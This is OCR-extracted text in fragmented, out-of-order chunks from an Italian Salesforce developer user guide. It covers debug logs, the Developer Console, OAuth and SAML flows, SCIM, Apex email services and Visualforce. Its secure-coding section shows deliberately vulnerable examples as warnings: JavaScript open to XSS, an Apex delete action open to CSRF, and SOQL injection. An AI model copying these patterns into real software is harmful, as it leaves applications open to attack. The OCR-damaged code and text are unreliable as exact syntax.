27. le classi o dei ID P4 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition 2 Senonsi dispone di flag di traccia attivi i test Apex sincroni e asincroni vengono eseguiti con i livelli di registrazione predefiniti livelli di registrazione predefiniti sono i seguenti DB INFO APEX_CODE DEBUG APEX_PROFILING FO WORKFLOW FO VALIDATION FO CALLOUT FO VISUALFORCE FO SYSTEM DEBUG 3 Se non vi sono flag di traccia rilevanti attivi e nessun test in esecuzione l intestazione API imposta i livelli di registrazione Le richieste API inviate senza eseguire il debug delle intestazioni generano registri temporanei che non vengono salvati a meno che non sia in vigore un altra regola di registrazione Ottimizzazione di Salesforce con il codice Guida dell utente Registri debug 280 4 Sesiabilitanoi registri di sistema per un utente si ottengono registri debug per le prossime 20 richieste di quell utente Per informazioni su come impostare i registri debug basati sull utente vedere Monitoraggio dei registri debug 5 Sei punti di ingresso impostano un livello di registrazione viene utilizzato quel livello di registrazione Ad esempio le richieste Visualforce possono includere un parametro di esecuzione del debug che imposta i livelli di registrazione Se
28. modificare ed eliminare le applicazioni OAuth e Gestisci applicazioni connesse 1 Lo sviluppatore crea un applicazione connessa e registra un Certificato X509 che corrisponde alla chiave privata dell applicazione Quando l applicazione connessa viene salvata la Chiave consumatore client id OAuth viene generata e assegnata all applicazione 2 Lo sviluppatore scrive un applicazione che genera un asserzione SAML e la firma con la chiave privata 3 L asserzione viene inviata mediante il metodo POST all endpoint del token https login salesforce com services oauth2 token 4 L endpoint del token convalida la firma utilizzando il certificato registrato dallo sviluppatore 5 L endpoint del token convalida i parametri Audience Issuer Subject e la validit dell asserzione 6 Supponendo che l asserzione sia valida e che l applicazione sia stata precedentemente autorizzata dall utente o dall amministratore Salesforce emette un access_token O Nota In questo flusso non viene mai emesso un refresh_token Creazione di un asserzione bearer SAML Lo sviluppatore deve creare un asserzione bearer SAML valida che rispetti le seguenti regole Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 208 e L Emittente deveessereil client id OAuth o l applicazione connessa per la quale lo sviluppatore ha registrato il certificato e Audience deve essere https login salesforce como ht
29. oau th consumer key h token th_signature method h_signature th_timestamp n_nonce th_version facoltativo deve essere 1 0 se inclusa Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 206 2 Salesforce convalida la richiesta e invia un ID sessione valido al consumatore L intestazione della risposta comprende quanto segue lt response gt lt metadataServerUrl gt https nal salesforc lt metadataServerUr1l gt lt sandbox gt false lt sandbox gt lt serverUrl gt https nal salesforc com services Soap m 17 0 00D300000006gjK com services Soap u 17 0 00D300000006gjK lt serverUrl gt lt sessionId gt 00D300000006qgrN AQ0AQJTMZwTa67tG6gOcklng xgMSuNVBpFwZ1xUq2kLjMYg6Zq lt response gt VEDERE ANCHE Autenticazione delle applicazioni con OAuth Codici di errore OAuth 1 0 A Salesforce restituisce i seguenti codici di errore durante il Flusso di autenticazione OAuth 1 0 A codici di errore restituiti si basano sull errore ricevuto Codice di errore 1701 1702 1703 1704 1705 1706 1707 1708 1709 1710 1711 1712 Errore on riuscito rilevato duplicato nonce on riuscito parametro chiave consumatore mancante on riuscito token di accesso non valido on riuscito versione non supportata on riuscito indicazione oraria non valida on riuscito nonce non valido on riuscito parametro token OAuth ma
30. oraria Event Evento L evento debug Details Dettagli Dettagli aggiuntivi relativi all evento quali numero di righe e parametri Source Sorgente Il riquadro Source Sorgente contiene il codice sorgente eseguito o le definizioni dei metadati delle entit utilizzate durante il processo ed elenca quante volte stata eseguita una riga di codice Il contenuto visualizzato nel riquadro dipende dagli elementi selezionati in altre aree della visualizzazione Per accedere a una specifica riga di codice digitare il numero di una riga nella casella di immissione in fondo al riquadro della sorgente e quindi fare clic su Jump Passa a Fare clic su Open Apri per aprire il codice sorgente eseguito nella visualizzazione Source Code Editor Editor codice sorgente O Nota Se durante il processo vengono eseguite regole di convalida o flussi di lavoro nel riquadro della sorgente visualizzata la relativa rappresentazione nei metadati Non consentito aprire una rappresentazione nei metadati dalla Console sviluppatore Vedere ValidationRule e Workflow nella guida Force com Metadata API Developers Guide Variables Variabili Utilizzare il riquadro Variables Variabili per sapere quando viene assegnato un valore a una variabile e qual questo valore Fare clic su un evento Variable per popolare la sezione O Nota il livello di registro di Apex Code deve essere impostato su Finest affinch le assegnazioni delle variabili vengano registra
31. ordine di precedenza 279 registro 7 293 registro debug 7 293 Regole di assegnazione registri debug 277 Regole di convalida registri debug 277 Regole di flusso di lavoro registri debug 277 Regole di inoltro al livello superiore registri debug 277 Regole di risposta automatica registri debug 277 Resource variabile globale 80 Indice analitico riga di comando 7 Risorse statiche definizione 82 gestione 83 panoramica 80 visualizzazione 83 S S Control campi di unione 134 confronto con le pagine Visualforce 134 creazione 123 125 definizione 123 125 eliminazione 127 esempi 129 esempi utili 129 informazioni su 124 modifica 125 suggerimenti 128 tipi di campo unione 20 variabili globali 20 S Control personalizzati informazioni su 124 Salesforce1 aggiunta di componenti Lightning 89 SAML flusso asserzioni SAML 228 OAuth 228 Schede Visualforce 73 SCIM 158 Scrittura del codice 2 Servizi di email indirizzi di servizi di email 108 modifica 109 oggetto InboundEmail 116 oggetto InboundEmail BinaryAttachment 118 oggetto InboundEmail Header 117 oggetto InboundEmail TextAttachment 118 oggetto InboundEmailResult 118 oggetto InboundEnvelope 119 Single Sign On flusso asserzioni SAML 228 OAuth 228 SOQL 11 14 Stato visualizzazione 276 Strumenti per lo sviluppatore Apex 49 Strumento di migrazione Force com 140 Sviluppo protezione 100 system log 7 293 I Test Apex 297 300 303 Te
32. 275 Log _ui common apex debug ApexCSIAPI 004 24 13 13 39 Timestamp Event Details 13 13 39 084 EXECUTION_ST n 13 13 39 084 CODE_UNIT_ST EXTERNAL execute_anonymous_apex Dl 13 13 39 084 VARIABLE_SCO 1 characters LIST lt String gt true false 13 13 39 140 HEAP_ALLOCATE EXTERNAL Bytes 7 13 13 39 140 HEAP_ALLOCATE EXTERNAL Bytes 13 13 13 39 140 STATEMENT_EX 1 13 13 39 140 STATEMENT_EX 1 13 13 39 140 HEAP_ALLOCATE 1 Bytes 4 13 13 39 140 SYSTEM_CONST 1 lt init gt 0 13 13 39 140 SYSTEM_CONST 1 lt init gt 0 13 13 39 140 HEAP_ALLOCATE 1 Bytes 5 13 13 39 141 SYSTEM_METHO 1 LIST lt String gt add Object 13 13 39 141 SYSTEM_METHO 1 LIST lt String gt add Object 13 13 39 141 HEAP_ALLOCATE 1 Bytes 16 13 13 39 141 SYSTEM_METHO 1 LIST lt String gt add Object 13 13 39 141 SYSTEM_METHO 1 LIST lt String gt add Object 13 13 39 141 HEAP_ALLOCATE 1 Bytes 17 13 13 39 141 SYSTEM_METHO 1 LIST lt String gt add Object 13 13 39 141 SYSTEM_METHO 1 LIST lt String gt add Object 13 13 39 141 HEAP_ALLOCATE 1 Bytes 9 13 13 39 142 SYSTEM_METHO 1 LIST lt String gt add Object E lt r l This Frame _ Executable Debug Only U Filter e Analysis Analisi prospettiva designata per l analisi dei registri che include i riquadri Stack Tree Albero stack Execution Stack Stack es
33. Flat 5 discount Employee purchase order extends Customer purchase order but with a SS dAiffaront Adirenssnt Logs Tests Checkpoints Query Editor Progress Problems m Name Line Problem PurchaseOrders 18 unexpected token dass L evidenziazione della sintassi nel Source Code Editor Editor codice sorgente mostra commenti numeri stringhe parole chiave riservate tipi di dati primitivi dichiarazioni di variabili e riferimenti Per accedere alla ricerca nel codice premere CTRL F Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 17 Dopo aver implementato i test possibile visualizzare la copertura del codice riga per riga nel Source Code Editor Editor codice sorgente Vedere Verifica della copertura codice Il Source Code Fditor Editor codice sorgente consente inoltre di impostare i checkpoint per risolvere i problemi senza aggiornare il codice Vedere Impostazione dei checkpoint in Apex Code Per alternare il Source Code Editor Editor codice sorgente e un editor a schermo interno se disponibile premere F11 Impostazione delle preferenze del Source Code Editor Editor codice sorgente possibile scegliere la dimensione dei caratteri e il tema di visualizzazione del Source Code Editor Editor codice sorgente Fare clic su Help Guida gt Preferences Preferenze per accedere alla finestra di dialogo Preference
34. Force com IDE o lo strumento di migrazione Force com Force com IDE e lo strumento di migrazione Force com sono risorse gratuite fornite da Salesforce a supporto dei propri utenti e partner ma non sono considerati parte dei Servizi ai fini dell Accordo Quadro di Sottoscrizione di Salesforce Per creare una classe 1 Una volta salvate le classi possono essere rich un trigger O Nota Per facilitare la compatibilit re Da Imposta immettere Classi Apex nellacasella Ricerca veloce quindi selezionare Classi Apex Fare clic su Nuovo Fare clic su Impostazioni versione per specificare la versione di Apex e API utilizzata con questa classe Se l organizzazione ha installato pacchetti gestiti da AppExchange possibile specificare anche quale versione di ciascun pacchetto gestito utilizzare con questa classe Utilizzare i valori predefiniti per tutte le versioni In questo modo la classe viene associata alla versione pi recente di Apex dell API e a ciascun pacchetto gestito possibile specificare una versione precedente di un pacchetto gestito se si desidera accedere a funzionalit o componenti diversi da quelli presenti nella versione pi recente possibile specificare una versione precedente di Apex e dell API per mantenere un determinato comportamento Nell editor della classe immettere l Apex code per la classe Una singola classe pu avere una Guida dell utente Componenti Apex Visualforce e Lightning 50
35. L API in blocco basata sui principi REST ed ottimizzata per caricare o eliminare serie di dati di grandi dimensioni Utilizzarla per eseguire query inserire aggiornare inserire con aggiornamento o eliminare molti record in modo asincrono mediante l invio di batch Salesforce elabora i batch in background Al contrario l API SOAP ottimizzata per le applicazioni client in tempo reale che aggiornano pochi record alla volta L API SOAP pu essere utilizzata per elaborare molti record ma quando le serie di dati contengono centinaia di migliaia di record l API SOAP risulta meno pratica L API in blocco studiata per consentire di elaborare agevolmente volumi di dati variabili da poche migliaia a milioni di record Il modo pi semplice per utilizzare l API in blocco abilitarla per l elaborazione dei record in Data Loader mediante file CSV Utilizzando Data Loader non sar necessario sviluppare una propria applicazione client Quando utilizzare l API dei metadati Utilizzare l API dei metadati per recuperare distribuire creare aggiornare ed eliminare personalizzazioni per la propria organizzazione L impiego pi comune consiste nel migrare le modifiche da un organizzazione Sandbox o di prova all ambiente di produzione L API dei metadati progettata per la gestione delle personalizzazioni e per la creazione di strumenti in grado di gestire il modello dei metadati non i dati stessi La soluzione pi semplice per accedere alla
36. L ambito refresh _token sinonimo di offline access Fornire l accesso alle applicazioni personalizzate visualforce Consente di accedere alle pagine Visualforce Fornire l accesso ai propri dati via Web web Consente di utilizzare access_token sul Web incluso anche visualforce che consente di accedere alle pagine Visualforce Guida dell utente Integrazione di app con Salesforce 171 Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 172 Se per l organizzazione stata selezionata l opzione Nessuna approvazione utente richiesta per gli utenti di questa organizzazione nell accesso remoto prima del rilascio Spring 12 gli utenti della stessa organizzazione in cui stata creata l applicazione hanno ancora l approvazione automatica per l applicazione La casella di controllo Nessuna approvazione utente richiesta per gli utenti di questa organizzazione disola lettura risulta selezionata a rispecchiare questa condizione Per le applicazioni connesse la procedura consigliata dopo la creazione di un applicazione che gli amministratori installino l applicazione quindi impostino Utenti con autorizzazioni su Utenti con approvazione dell amministratore Se l opzione di accesso remoto non era stata selezionata in origine la casella di controllo non viene visualizzata Impostazioni app Web Immettere un URL iniziale per l applicazione in modo da indirizzare gli utenti verso una posizione
37. NPZZAVA O N UTENTE Per configurare i servizi di email e gli indirizzi di servizi di email Apex e Modifica tutti i dati Per creare classi Apex e Apex autore global Messaging InboundEmailResult handleInboundEmail Messaging InboundEmail email Messaging Inbound Messaging InboundEmailResult result new Messaging InboundEmailresult return result Per informazioni sull oggetto InboundEmail vedere Uso dell oggetto InboundEmail a pagina 112 5 Scegliere i tipi di allegati che si desidera vengano accettati dal servizio di email Le opzioni sono Nessuno Il servizio di email accetta il messaggio ma scarta qualsiasi allegato Solo allegati di testo Il servizio di email accetta solo i seguenti tipi di allegati gt D gt legati con un tipo MIME Multipurpose Internet Mail Extension di text legati con un tipo MIME di application octet stream eun nome file che termina con l estensione vef 0 vcs Vengono salvati rispettivamente come tipi MIME text x vcard e text calendar messaggi con allegati che non rientrano in queste tipologie vengono comunque accettati ma gli allegati saranno scartati Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 110 Solo allegati binari Il servizio di email accetta gli allegati binari quali file di immagini audio applicazioni e video Per gli allegati binari previsto un limite di 5 MB pe
38. Nelle pagine Visualforce per consentire l iterazione dinamica sui campi di un insieme di campi necessario aggiungere un prefisso alla variabile globale con un riferimento all oggetto standard o personalizzato che utilizza l insieme di campi lt apex page standardController Account gt lt apex repeat value S SAccount FieldSet mySpecialFields var field gt lt apex outputText value field gt lt apex repeat gt lt apex page gt Questa variabile globale disponibile solo per le pagine Visualforce Un tipo di campo di unione globale da utilizzare quando si fa riferimento a un etichetta personalizzata 1 Selezionare il tipo di campo Label 2 Selezionare l etichetta personalizzata a cui fare riferimento Il valore restituito dipende dalla lingua impostata dall utente contestuale Il valore restituito uno dei seguenti in ordine di precedenza 1 il testo della traduzione locale 2 il testo della traduzione inserita nel pacchetto 3 il testo dell etichetta principale Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Esempio di Flusso Esempio di Visualforce Esempio di componenti Lightning Suggerimenti Label Site Descrizione Utilizzo Lightning 24 Creare una formula del flusso con la seguente espressione S Label customCurrency label Quindi fare riferimento a quella formula del flusso come etichetta di un campo schermata
39. Ottimizzazione di Salesforce con il codice Guida dell utente Registri debug 290 Nome dell evento Campi o informazioni registrate con l evento Categoria Livello registrata registrato SYSTEM METHOD ENTRY umero di riga e firma del metodo System FINE e superiori SYSTEM METHOD EXIT umero di riga e firma del metodo System FINE e superiori SYSTEM MODE ENTER ome modalit System INFO e superiori SYSTEM MODE EXIT ome modalit System INFO e superiori TESTING LIMITS essuno Apex INFO e Profiling superiori TOTAL EMAIL RECIPIENTS QUEUED umero di messaggi email inviati Apex FINE e Profiling superiori USER_DEBUG umero di riga livello di registrazione e stringa fornita Apex Code DEBUG e dall utente superiori per impostazione predefinita Se l utente imposta il livello di registrazione per il metodo System Deoug l evento viene invece registrato a quel livello VALIDATION ERROR Messaggio di errore Validation INFO e superiori VALIDATION FAIL Nessuno Validation INFO e superiori VALIDATION FORMULA Origine della formula e valori Validation INFO e superiori VALIDATION_PASS essuno Validation INFO e superiori VALIDATION RULE ome della regola Validation INFO e superiori VARIABLE ASSIGNMENT umero di riga nome variabile una rappresentazione Apex Code FINEST Ca ri
40. Per richiedere le propriet di un utente specifico utilizzare https url org salesforce services scim v1l Users IDutente dove IDutente l ID di 18 caratteri dell organizzazione dell utente Salesforce include inoltre le seguenti estensioni ID responsabile utenti esterni attr ibuti personalizzati insiemi di autorizzazioni Le seguenti estensioni SCIM aziendali appaiono sotto questo URN urn scim schemas extension enterprise 1 0 employeeNumber divi sion department manager managerld e displayName delegatedApprover delegatedApproverld e displayName Le seguenti estensioni appaiono sotto questo URN urn salesforce schemas extension 18CHARORGID campi personalizzati se l organizzazione ne dispone D7 OX Disponibile nelle versioni Salesforce Classic Disponibile in tutte le versioni Le seguenti estensioni per gli utenti di External Identity o comunit il cui profiletd nei diritti deltipo external identity o community users appaiono sotto questo URN urn salesforce schemas extension external 1 0 ac countid contactId Se questi valori non vengono forniti Salesforce crea record referente e account per l utente Il nuovo nome dell account in formato usernameJITUserAccount Ad esempio utente nomeazienda orgJITUserAccount Ottimizzazione di Salesforce con il codice O Nota Le seguenti informazioni sono valide per tutte le operazioni SCIM Guida dell utente Integrazi
41. URL Specificare l output a cui applicare questa formattazione ottimizzata Ad esempio in un intestazione utilizzare quanto segue X PrettyPrint 1 Se questo valore non viene specificato gli XML o JSON restituiti vengono ottimizzati in base alle dimensioni invece che per la leggibilit Questo parametro facoltativo Specificare un nome funzione JavaScript valido Questo parametro viene utilizzato solo quando il formato specificato come JSON L output racchiuso in questo nome funzione JSONP Ad esempio se una richiesta a https server id orgid userid restituisce foo bar unarichiesta ahttps server id orgid userid callback baz restituisce baz foo bar Dopo l invio di una richiesta valida Salesforce restituisce le informazioni in formato JSON per impostazione predefinita o nel formato specificato nel parametro Format La risposta contiene i valori elencati nell OpenID Connect Basic Client Profile l ID utente Salesforce l ID organizzazione e gli URL correlati del profilo del feed ecc Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 241 Di seguito riportato un esempio di risposta in formato JSON sub http login salesforce com id 00Dx000 005x000 user id 005x000 organization id 00Dx000 preferred username user1 1135222488950007 com nickname user1 3860098879512678E12 name nal LastName ema
42. Voci di programmazione non protette da XSS Le voci di programmazione riportate di seguito non dispongono di protezioni XSS integrate pertanto prestare la massima attenzione durante l utilizzo di tali tag e oggetti Infatti queste voci sono destinate alla personalizzazione della pagina da parte dello sviluppatore tramite l inserimento di comandi di script Non avrebbe senso includere dei filtri anti XSS in comandi aggiunti intenzionalmente a una pagina JavaScript personalizzato Se si scrive un JavaScript personalizzato la piattaforma Force com non fornisce alcuna protezione Ad esempio il seguente codice vulnerabile agli attacchi XSS se utilizzato in JavaScript lt script gt var foo location search document write foo lt script gt lt apex includeScript gt Il componente lt apex includeScript gt Visualforce consente di includere uno script personalizzato nella pagina In questi casi verificare con attenzione che i contenuti siano protetti e non includano dati forniti dall utente Ad esempio lo snippet seguente estremamente vulnerabile in quanto include un input fornito dall utente come valore del testo dello script Il valore fornito dal tag Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 102 un URL allo JavaScript da includere Se l autore di un attacco pu assegnare dati arbitrari a questo parametro come nell esempio sottostante pu potenzialmente in
43. application xml application json application html restituisce XML e parametro format ha la precedenza sull intestazione dell accettazione della richiesta Salesforce risponde con una risposta del token di accesso Dopo che la richiesta stata verificata Salesforce invia una risposta al client seguenti parametri si trovano nel corpo della risposta e access token 1 D sessione Salesforce che pu essere utilizzato con l API servizi Web e token type ilvalore Bearer per tutte le risposte che includono un token di accesso e id tokenililvalore Salesforce conforme alle specifiche OpenID Connect Il valore restituito solo se il parametro scope include openid e refresh token token che pu essere utilizzato in futuro per ottenere nuovi token di accesso sessioni Questo valore segreto Si raccomanda di trattarlo come se fosse la password dell utente e adottare tutte le misure necessarie per proteggerlo Questo parametro viene restituito solo se l applicazione connessa impostata almeno con un ambito refresh token e instance url URL che indica l istanza dell organizzazione dell utente In questo esempio l istanza nal https nal salesforce com e id URLidentit che pu essere utilizzato sia per identificare l utente sia per chiedere pi informazioni sull utente Vedere URL identit a pagina 234 e sfdc community url se l utente membro di una comunit Salesforce viene fornito l URL della comunit e sfdc com
44. lt apex page gt lt apex pageMessage severity info strength 1 summary SLabel firstrun helptext gt lt apex page gt Etichetta in un espressione di markup che utilizza lo spazio dei nomi predefinito Label c labelName Etichetta in codice JavaScript se l organizzazione ha uno spazio dei nomi SA get Label namespace labelName Questa variabile globale disponibile solo per i componenti Lightning le pagine Visualforce Apex le formule del flusso e le formule del processo Tipo di campo di unione globale da utilizzare quando si fa riferimento a un etichetta Siti standard in una pagina Visualforce Come per tutte le etichette standard il testo viene visualizzato in base alla lingua e alle impostazioni internazionali dell utente Utilizzare questa espressione in una pagina Visualforce per accedere a un etichetta Siti standard Quando il server dell applicazione costruisce la pagina da presentare al browser dell utente finale il valore restituito dipende dalla lingua e dalle impostazioni internazionali dell utente Salesforce fornisce le seguenti etichette Etichetta Messaggio authorization_required Autorizzazione richiesta bandwidth_limit_exceeded Limite larghezza di banda superato change_password Cambia password change_your_password Cambiare la propria password click_forget_password Se si dimenticata la password fare clic su Password dimenticata per reimpostarla community_nickname Nickname confirm
45. public class myClass public void init Id id ApexPages currentPage getParameters get id Account obj select id Name FROM Account WHERE id id delete obj return In questo caso lo sviluppatore ha inconsapevolmente aggirato i controlli anti CSRF sviluppando il loro stesso metodo di azione Il parametro id viene letto e utilizzato nel codice Il token anti CSRF non viene mai letto n convalidato La pagina Web di un autore dell attacco potrebbe aver inviato questa pagina all utente utilizzando un attacco CSRF e potrebbe aver fornito qualsiasi valore desiderato per il parametro id Non esistono difese incorporate per situazioni di questo genere e gli sviluppatori devono prestare la massima attenzione durante la scrittura di pagine che eseguono azioni basate su un parametro fornito dall utente come la variabile ia nell esempio precedente Un modo per aggirare l ostacolo potrebbe essere l inserimento di una pagina di conferma intermedia prima dell esecuzione dell azione in modo da assicurarsi che la pagina venga richiamata dall utente designato Altri suggerimenti includono l accorciamento della durata di inattivit della sessione per l organizzazione e l addestramento degli utenti affinch escano dalle sessioni attive e non utilizzino il browser per visitare altri siti durante l autenticazione SOQL Injection In altri linguaggi di programmazione la precedente vulnerabilit nota come SQL injection Ap
46. textAttachments InboundEmail TextAttachment toAddresses Stringal Oggetto InboundEmail Header Guida dell utente Componenti Apex Visualforce e Lightning 117 Descrizione Campo Risposta a del messaggio email in entrata Identifica il messaggio o i messaggi di cui questo una risposta messaggi principali Contiene l ID messaggio del essaggio o dei messaggi email principali 3 D Messaggio vale a dire l identificatore univoco del messaggio in entrata Versione solo testo del messaggio email se specificato dal mittente Indica se il testo normale del corpo troncato t rue o meno false Campo Riferimenti del messaggio email in entrata Identifica un thread di messaggi email Contiene un elenco dei riferimenti e gli ID messaggio dei messaggi email principali e possibilmente i campi Risposta a Indirizzo email visualizzato nell intestazione Rispondi a Se non presente alcuna intestazione Rispondi a questo campo identico al campo fromAddress Riga dell oggetto del messaggio email se presente Elenco degli allegati ricevuti insieme al messaggio email se presenti Gli allegati di testo possono essere dei seguenti tipi e Allegati con un tipo MIME Multipurpose Internet Mail Extension di text e Allegati con un tipo MIME di application octet stream eun nome file che termina con l estensione vcf o vcs Vengono salvati rispettivamente come tipi MIME text x vcard e text calendar
47. tipo di metadati personalizzato Come per tutti i componenti di metadati che possono essere inseriti nei pacchetti possibile anche aggiungere tipi e record di metadati personalizzati a un pacchetto specificando il suo nome completo nel file package xm1 Ad esempio specifichiamo il pacchetto in questo frammento tratto dal file package xml di Picklists R Us lt xml version 1 0 encoding UTF 8 gt lt Package xmlns http soap sforce com 2006 04 metadata gt lt fullName gt Picklists R Us lt fullName gt Considerazioni sui pacchetti contenenti tipi di metadati personalizzati Tenere presente i seguenti comportamenti relativi ai pacchetti che contengono tipi di metadati EDIZIONI personalizzati Dopo che stato caricato un pacchetto Gestito Rilasciato che contiene un tipo di metadati Disponibile nelle versioni personalizzato non possibile Salesforce Classic e Aggiungere campi obbligatori al tipo di metadati personalizzato Disponibile nelle versioni e Impostare qualsiasi campo non obbligatorio come obbligatorio Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition e Eliminare i campi personalizzati Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 255 Autorizzazioni personalizzate Autorizzazioni personalizzate Utilizzare le autorizzazioni personalizzate per fornire agli utenti l accesso ad applicazioni o proces
48. uperi FO e ori ori ori ori ori ori ori ori ori ori ori ori ori ori ori ori ori ori Ottimizzazione di Salesforce con il codice Guida dell utente Registri debug 293 Nome dell evento Campi o informazioni registrate con l evento WE_RULE EVAL END Nessuno WF_RULE EVAL VALUE Valore WF RULE FILTER Criteri di filtro WF_ RULE INVOCATION EntityName NameField Id WF_RULE NOT EVALUATED essuno WF_SOFT_REJECT ome del processo WF_SPOOL_ACTION_BEGIN Tipo di nodo WF _ TIME TRIGGER EntityName NameField Id azione emporale contenitore azione temporale e data e ora valutazione WF_TIME TRIGGERS BEGIN essuno VEDERE ANCHE Applicazione di filtri ai registri debug per classi Apex e trigger Apex Ricerche in un registro debug Categoria Livello registrata registrato Flusso di avoro Flusso di avoro Flusso di avoro Flusso di avoro Flusso di avoro Flusso di avoro Flusso di avoro Flusso di avoro Flusso di avoro INFO e superiori INFO e superiori INFO e superiori INFO e superiori INFO e superiori INFO e superiori INFO e superiori INFO e superiori INFO e superiori Per cercare del testo all interno di un registro debug utilizzare la finestra della riga di comando nella Console sviluppatore Prima di poter ese
49. 000 0000 Di seguito riportato un esempio di risposta in formato XML lt xml version 1 0 encoding UTFE 8 gt lt user gt lt sub gt http login salesforce com id 00Dx000 005x000 lt sub gt lt user id gt 005x000 lt user id gt lt organization id gt 00Dx000 lt organization id gt lt preferred username gt user1 1135222488950007 com lt preferred username gt lt nickname gt user1 3860098879512678E12 lt nickname gt lt name gt userl LastName lt name gt lt email gt user1 1135222488950007 com lt email gt lt email verified gt true lt email verified gt lt given name gt userl lt given name gt lt family name gt LastName lt family name gt lt zoneinfo gt America Los Angeles lt zoneinfo gt lt photos gt lt picture gt http nal salesforce com profilephoto 005 F lt picture gt lt thumbnail gt http nal salesforce com profilephoto 005 T lt thumbnail gt lt photos gt lt profile gt http nal salesforce com 005x000 lt profile gt lt picture gt http nal salesforce com profilephoto 005 F lt picture gt lt address gt lt country gt us lt country gt lt address gt lt urls gt lt enterprise gt http nal salesforce com services Soap c version 00Dx0000002rIhl lt enterprise gt lt xmetadata gt http nal salesforce com services Soap m version 00Dx0000002rIh1l lt metadata gt Ottimizzazione di Salesforce con il codice Guida dell
50. 2 0 profiles SSO browser codificata nell URL e format formato restituito previsto Questo parametro facoltativo Il valore predefinito j son I valori sono urlencoded json xml Di seguito riportato un esempio del corpo di un POST out of band effettuato a https login salesforce com services oauth2 token grant type assertion amp assertion type urn 3Aoasis 3Anames 3Atc3s3ASAML 3A2 0 3Aprofiless3ASS0O 3Abrowser amp assertion PD94bWwgdmVyc21vbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHNhbW Il server di Salesforce invia una risposta Dopo che la risposta SAML stata verificata Salesforce invia una risposta al client seguenti parametri si trovano nel corpo della risposta e access token D sessione Salesforce che pu essere utilizzato con l API servizi Web e token type ilvalore Bearer per tutte le risposte che includono un token di accesso e id URLidentit che pu essere utilizzato sia per identificare l utente sia per chiedere pi informazioni sull utente Vedere URL identit a pagina 234 Di seguito illustrato un esempio di risposta da Salesforce id https login salesforce com id 00Dx0000000BV7z 005x0000001209P instance url https nal salesforce com access token 00Dx0000000BV7z ARSAONhMm0eDIKRO hZagSTaEPCkmoXeYnkaxQnqWl1G6Sk9U313IFjEH IzDIsYdU0goVCXNJItPOwdb7u5rKfq9NldfAK00jd token type Bearer Se in questa fase si verifica un errore la risposta contiene un messaggio di err
51. 7 Jump open nn 11 04 55 108 STATEMENT_EX J Unit Duration Heap Variable Value 11 04 55 108 STATEMENT_EX 1 x debug 0 07 0 a lt empty gt None in scope at line do du A F 11 04 55 108 HEAP_ALLOCATE DS 2 debug 0 07 o lt lana debug 0 09 o This Frame C Executable O Debug Only C Filter SaveOrder Limits Timeline JESE What Name Sum Avg Max Min Count Heap Query Type Sum rows Avg rows Max rows Min row Method size 0 34 0 07 0 12 0 05 5 0 nfa nja nja n a n a Method debug 0 66 0 08 0 11 0 07 8 0 n a n a n a nfa n a Method execute _a 31 43 31 43 31 43 31 43 1 2534 nja n a n a n a n a Method _uijcommo 31 48 31 48 31 48 31 48 1 0 nja n a n a nfa n a Method add 0 39 0 10 0 11 0 09 4 0 nfa n a n a n a n a Method 0 36 0 36 0 36 0 36 1 0 nja n a n a nfa nja Show Methods Queries Workfiow Callouts DML validations Triggers Pages e Debug prospettiva designata per il debug del codice che include i riquadri Execution Log Registro esecuzioni Source Sorgente e Variables Variabili e e Timestamp Event Details Cont 13 13 39 084 EXECUTION_ST Si 1 2 List characters new List child little white dog 13 13 39 084 CODE_UNIT_ST EXTERNAL execute_anonymous_apex E 2 A 13 13 39 084 VARIABLE_SCO 1 characters LIST lt String gt true false 3 8 String spacing integer num i 13 13 39 140 HEAP_ALLOCATE EXTERNAL B
52. Componenti Apex Visualforce e Lightning 16 CTRL Apre la finestra di dialogo della ricerca o cerca l istanza seguente della ricerca in corso CTRL r Apre la finestra di dialogo della ricerca o sostituisce l istanza seguente della ricerca in corso con la stringa di sostituzione specificata CTRL g Apre la finestra di dialogo Go to line CTRL s Esegue un salvataggio rapido CTRL z Annulla l ultima operazione di modifica CTRL y Ricrea l ultima operazione di modifica annullata VEDERE ANCHE Panoramica su Apex Code Visualforce Source Code Editor Editor codice sorgente La Console sviluppatore include un Source Code Editor Editor codice sorgente con una raccolta di funzioni per la modifica dell Apex code e del codice Visualforce Tutti i file di codice inclusi le classi e i trigger Apex e le pagine e i componenti Visualforce si aprono nel Source Code Editor Editor codice sorgente nell area di lavoro della Console sviluppatore Purnassonaeis Fridge Log _ui common apex debug ApexCSIAPI 04 09 21 25 10 Code Coverage None 7 Gao public class PurchaseOrders An interface that defines what a purchase order looks like in general public interface PurchaseOrder All other functionality excluded Double discount mM One implementation of the interface for customers public virtual class CustomerPurchaseOrder implements PurchaseOrder public virtual Double discount return 05
53. Etichetta principale per il sito corrente Se la richiesta corrente non riguarda un sito questo campo restituisce una stringa vuota Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 37 Campo unione Descrizione Site Siteld Restituisce l ID del sito corrente Se la richiesta corrente non riguarda un sito questo campo restituisce una stringa vuota Site SiteType Restituisce il valore API del campo Tipo di sito per il sito corrente Se la richiesta corrente non riguarda un sito questo campo restituisce una stringa vuota Site SiteTypeLabel Restituisce il valore dell etichetta del campo Tipo di sito per il sito corrente Se la richiesta corrente non riguarda un sito questo campo restituisce una stringa vuota Esempio di L esempio che segue illustra come utilizzare il campo di unione Site Template Visualforce lt apex page title Job Application Confirmation showHeader false standardStylesheets true gt lt The site template provides layout amp style for the site gt lt apex composition template Site Template gt lt apex define name body gt lt apex form gt lt apex commandLink value lt Back to Job Search onclick window top location Page PublicJobs return false gt lt br gt lt br gt lt center gt lt apex outputText value Your application has been saved Thank you for your interest gt lt
